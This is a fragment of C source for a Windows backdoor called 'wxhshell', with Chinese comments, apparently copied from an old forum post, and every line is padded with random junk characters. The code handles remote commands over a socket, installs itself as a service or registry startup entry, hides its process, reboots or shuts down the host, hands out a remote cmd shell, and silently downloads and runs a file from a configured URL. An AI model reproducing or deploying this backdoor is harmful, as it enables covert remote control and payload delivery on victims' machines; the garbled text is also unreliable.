    switch(cmd[0]) { ob"yz}  
  _ hs\"W  
  // 帮助 D``>1IA]  
  case '?': { O,?aVgY  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); - WK  
    break; g'1ASMuR  
  } \9s x_T  
  // 安装 /a:L"7z  
  case 'i': { UvM_~qo  
    if(Install()) dLy-J1h\  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); [49Ae2W`  
    else ${)s ~[  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); hDHIi\%  
    break; # dxS QmG  
    } <Z8^.t)|  
  // 卸载 ]*JH~.p  
  case 'r': { 7.tEi}O&_g  
    if(Uninstall()) xEvm>BZi  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ,]|*~dd>G  
    else *'nZ|r v  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); \h 1T/_4  
    break; lT~A~O  
    } ;OfZEy>7  
  // 显示 wxhshell 所在路径 wQ/Z:  
  case 'p': { 088"7 s  
    char svExeFile[MAX_PATH]; u3@v  
    strcpy(svExeFile,"\n\r"); F otHITw[  
      strcat(svExeFile,ExeFile); _f@, >l  
        send(wsh,svExeFile,strlen(svExeFile),0); 6b9 &V`  
    break; ;gNoiAxW  
    } 52d8EGC  
  // 重启 ZMI vzQYI  
  case 'b': { N"rZK/@}  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); dt|f4 XWF  
    if(Boot(REBOOT)) ~ 6-6aYhe  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); h`b[c.%  
    else { *]RCfHo\=  
    closesocket(wsh); %e'Z.vm  
    ExitThread(0); , 1` -u$  
    } 2%(RB4+  
    break; *oU-V#   
    } Y]>Qu f.!  
  // 关机 O)Mf/P'  
  case 'd': { "/}cV5=Z  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); J{bNx8.&  
    if(Boot(SHUTDOWN)) #Bgq]6G2  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0);  _F9O4Q4  
    else { *QT|J6ng  
    closesocket(wsh); kw.IVz<  
    ExitThread(0); mFXkrvOf,  
    } K7N.gT*4  
    break; a5xmIp@6  
    } "ZLujpZcG  
  // 获取shell dT*8I0\+  
  case 's': { rc9Y:(S1l  
    CmdShell(wsh); #cD20t  
    closesocket(wsh); gaXKP1m^  
    ExitThread(0); ;_hL  
    break; O F CA~sR  
  } #J<IHNRt  
  // 退出 {-?8r>  
  case 'x': { &\/b(|>  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 8x9$6HO  
    CloseIt(wsh); {IpIQ-@l  
    break; e=%6\&q  
    } `[zd  
  // 离开 ]~A<Q{  
  case 'q': { ZT'Sw%U:  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); X0"f>.Lg  
    closesocket(wsh); hpVu   
    WSACleanup(); 7yK1Q_XY>  
    exit(1); 8${Yu  
    break; eX@7f!uz  
        } J \V.J/  
  } 3Ta<7tEM  
  } Cq-#| +zr  
.6D9m.Q,  
  // 提示信息 }lzN)e  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ]9}T)D f'  
} `bF] O"  
  } Y?>us  
A, )G$yT\  
  return; ] 336FgT  
} "Nn+Zw43  
)QvuoaJQ  
// shell模块句柄 G]- wN7G  
int CmdShell(SOCKET sock) MlM2(/ok  
{ f; "6I  
STARTUPINFO si; 4fCg{  
ZeroMemory(&si,sizeof(si)); -=A W. Z o  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ;dh8|ujh  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; \O7Vo<B&D  
PROCESS_INFORMATION ProcessInfo; "<J%@  
char cmdline[]="cmd"; 0u"/7OU  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); VI (;8  
  return 0; ]O;Hlty(g  
} 8{GRrwQ>  
|_P-  
// 自身启动模式 .V\ M/q\Tv  
int StartFromService(void) !dW77kLTg  
{ Hw"UJP  
typedef struct H~P"uYKIZ  
{ pM i w9}  
  DWORD ExitStatus; F}lgy;=h  
  DWORD PebBaseAddress; OJ'x>kE  
  DWORD AffinityMask; 'C9H6)Zq)  
  DWORD BasePriority; P;dp>jL  
  ULONG UniqueProcessId; s;0eD5b>x  
  ULONG InheritedFromUniqueProcessId; p~sfd  
}   PROCESS_BASIC_INFORMATION; ~BVK6  
[?$|   
PROCNTQSIP NtQueryInformationProcess; B !(t<W8cu  
iZy`5  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; N+vU@)_lC  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ecH-JPm'  
<}E^r_NvD  
  HANDLE             hProcess; elgCPX&:W  
  PROCESS_BASIC_INFORMATION pbi; YW}1iT/H  
7 \ <4LX  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); J\%<.S>  
  if(NULL == hInst ) return 0; #c0 dZ  
l}DCK  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); IKK<D'6  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); @J~y_J{  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); G@) I  
ZHs hg`I`  
  if (!NtQueryInformationProcess) return 0; Te8BFcJG  
id-VoHd K  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ?[W(r$IaE  
  if(!hProcess) return 0; RTSR-<{z  
{}3kla{  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; /)i)wxi  
a.5s5g)8  
  CloseHandle(hProcess); T2wn!N?r  
 afEp4(X~  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); W7a s =+;X  
if(hProcess==NULL) return 0; fJ Ch  
]kmOX  
HMODULE hMod; gkpNT)  
char procName[255]; wYf=(w \c  
unsigned long cbNeeded; e^@/ Bm+B  
W RAW%?$  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); (%>Sln5hq  
g)'tr '  
  CloseHandle(hProcess); K.2M=Q  
,h2q 37  
if(strstr(procName,"services")) return 1; // 以服务启动 '3o0J\cz  
LIH>IpamN  
  return 0; // 注册表启动 J1<fE(X  
} JXeqVKF  
O#7ldF(  
// 主模块 2t { Cpw  
int StartWxhshell(LPSTR lpCmdLine) s8|#sHT  
{ A*pihBo7  
  SOCKET wsl;  2H<?  
BOOL val=TRUE; Xh]\q)  
  int port=0; b,a\`%m}  
  struct sockaddr_in door; ,l<-*yMD  
z1+rz%  
  if(wscfg.ws_autoins) Install(); 1#qCD["8  
LM'` U-/e$  
port=atoi(lpCmdLine); +29;T0>a  
~,e!t.339  
if(port<=0) port=wscfg.ws_port; t%z7#}9$  
IQ{Xj3;?y  
  WSADATA data; V8&/O)}o  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; U8-9^}DBA  
~+>M,LfK  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   wZa;cg.-q  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 9L#B"lh  
  door.sin_family = AF_INET; )C2d)(baEJ  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 1|w,Z+/  
  door.sin_port = htons(port);  ioi  
~DZ;l/&Mz7  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { p 2~Q  
closesocket(wsl); &SN$D5U'  
return 1; 6sy%KO*A  
} F'CUkVC0~P  
>2syF{`j  
  if(listen(wsl,2) == INVALID_SOCKET) { f9- |! ]s  
closesocket(wsl); ;oFaDTX]  
return 1; X}z KV  
} <(p1 j0_Q  
  Wxhshell(wsl); K=5_jE^e  
  WSACleanup(); vB4cdW 2#3  
ap%o\&T;  
return 0; MF\n@lX  
jX&&@zMq  
} 6 qKIz{;  
!v;r3*#Nky  
// 以NT服务方式启动 UuT[UB=x5  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) )N=b<%WD   
{ N~>?w#?J  
DWORD   status = 0; CJKH"'u3^  
  DWORD   specificError = 0xfffffff; Z `\7B e  
Br~%S?4"o  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ^/n[5@6H  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 1yB;"q&Xd  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 8v^i%Gg  
  serviceStatus.dwWin32ExitCode     = 0; wCt+{Y3T  
  serviceStatus.dwServiceSpecificExitCode = 0; 4\OELU  
  serviceStatus.dwCheckPoint       = 0; Ok`U*j  
  serviceStatus.dwWaitHint       = 0; Zc4hjg  
"}HQ)54&  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); _Mt:^H}Sy  
  if (hServiceStatusHandle==0) return; 3+|6])Hi1  
uBE,z>/,;  
status = GetLastError(); <Ab:yD`K!  
  if (status!=NO_ERROR) 1M;)$m:  
{ .sG,TLE[<  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ONjc},_  
    serviceStatus.dwCheckPoint       = 0; Na~_=3+a  
    serviceStatus.dwWaitHint       = 0; wO!hVm,T a  
    serviceStatus.dwWin32ExitCode     = status; Y!7P>?)`,X  
    serviceStatus.dwServiceSpecificExitCode = specificError; k(qQvn  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); Wq9s[)F"Z  
    return; "tj#P  
  } pWx3l5)R  
Zj7XmkL  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ; %Da {  
  serviceStatus.dwCheckPoint       = 0; >rFvT>@NU  
  serviceStatus.dwWaitHint       = 0; GC\/B0!  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); Ez$5wY^J  
} n#&RY%#`  
Mc}x]j`f  
// 处理NT服务事件,比如:启动、停止 (&*F`\  
VOID WINAPI NTServiceHandler(DWORD fdwControl) '9/kDkt!  
{ ^n2w6U0  
switch(fdwControl) R$@.{d&:w  
{ |Gf{}  
case SERVICE_CONTROL_STOP: {f&ga  
  serviceStatus.dwWin32ExitCode = 0; <C>i~ <`d  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; _(z"l"l=$  
  serviceStatus.dwCheckPoint   = 0; G2^DukK.  
  serviceStatus.dwWaitHint     = 0; VDPN1+1*  
  { z>0"T2W y  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Q]7Q  
  } 2DC#PX)i  
  return; 3 #wj-  
case SERVICE_CONTROL_PAUSE: V0AX1?H~w  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; >ATW/9r  
  break; kxmS   
case SERVICE_CONTROL_CONTINUE: |K_B{v.   
  serviceStatus.dwCurrentState = SERVICE_RUNNING; Td  F<  
  break; %xfy\of+Nk  
case SERVICE_CONTROL_INTERROGATE: j&Aq^aI  
  break; `/AzX *`  
}; >eTlew<5  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); CbHNb~  
} <M7* N .  
=@w:   
// 标准应用程序主函数 0@Ijk(|  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) |d3agfS[n  
{ * Z:PB%d5  
"XY?v8*c  
// 获取操作系统版本 G'py)C5;  
OsIsNt=GetOsVer(); f lB,_  
GetModuleFileName(NULL,ExeFile,MAX_PATH); \+u qP:Ty  
biG9?  
  // 从命令行安装 84[^#ke  
  if(strpbrk(lpCmdLine,"iI")) Install(); A%PPG+IfA  
l17ZNDzLU  
  // 下载执行文件 UH.cn|R  
if(wscfg.ws_downexe) { bevT`D  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ~tLR  
  WinExec(wscfg.ws_filenam,SW_HIDE); _'7/99]4g}  
} *02( J  
f$>orVm%.  
if(!OsIsNt) { m#nxw  
// 如果时win9x,隐藏进程并且设置为注册表启动 cBI )?  
HideProc(); %8L<KJd  
StartWxhshell(lpCmdLine);  mb/[2y<  
} Rpk`fxAO  
else ':V_V. :  
  if(StartFromService()) S>,I&`yi  
  // 以服务方式启动 &FrB6 y  
  StartServiceCtrlDispatcher(DispatchTable); upDQNG>d  
else 2f!oA~|2  
  // 普通方式启动 YP<]f>SBt  
  StartWxhshell(lpCmdLine); ~qS/90,  
!T*B{+|  
return 0; <yS"c5D6  
}
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只看该作者 1 发表于: 2006-10-10
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